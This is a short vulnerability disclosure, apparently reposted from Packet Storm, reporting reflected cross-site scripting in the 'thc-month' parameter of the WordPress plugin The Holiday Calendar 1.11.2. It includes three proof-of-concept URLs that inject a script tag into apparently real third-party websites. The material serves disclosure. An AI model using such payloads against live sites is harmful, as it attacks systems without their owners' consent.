WordPress The Holiday Calendar 1.11.2 XSS

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WordPress The Holiday Calendar plugin version 1.11.2 suffers from a cross site scripting vulnerability.

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From: Luciano Pedreira <lpedreira@gmail.com>
Date: 2015-07-20 10:06 GMT-03:00
Subject: CVE_for_Vulnerability_theholidaycalendar
To: cve-assign@mitre.org


Dear,

In a recent research conducted in the "The Holiday Calendar" plugin (
http://www.theholidaycalendar.com /
https://wordpress.org/plugins/the-holiday-calendar) I found vulnerability
related at Cross Site Scripting.


. The Holiday Calendar plugin Cross Site Scripting Issues


This problem was confirmed in the following versions of the "The Holiday
Calendar", other prior versions maybe also affected.

Version: 1.11.2
(Tested with Mozilla Firefox Browser)


DETAILS

The "The Holiday Calendar" plugin (http://www.theholidaycalendar.com /
https://wordpress.org/plugins/the-holiday-calendar) is affected by Cross
Site Scripting. The variable "thc-month" do not sanitize input data,
allowing attacker to store malicious javascript code in a page.


Proof of Concept to exploit the vulnerability:

http://dimensaonet.com.br/blog/eco-dimensao-workshop-inscricao/?thc-month=201504%27%22%3E%3Cscript%3Eprompt%2899%29%3C/script%3E

http://sabreschool.com/?post_type=thc-events&date=2015-04-04&country=GB&thc-month=201504%27%22%3E%3Cscript%3Eprompt%2899%29%3C/script%3E

http://zehaschmidtke.de/wp/events/?date=2015-05-25&dateFormat=2&country=DE&readmore=1&thc-month=201504%27%22%3E%3Cscript%3Eprompt%2899%29%3C/script%3E


CREDITS

This vulnerability was discovered and researched by Luciano Pedreira
(a.k.a. shark)


I wonder how to create a CVE for this publication?


best regards,

Luciano Pedreira

Quelle: Packet storm Security

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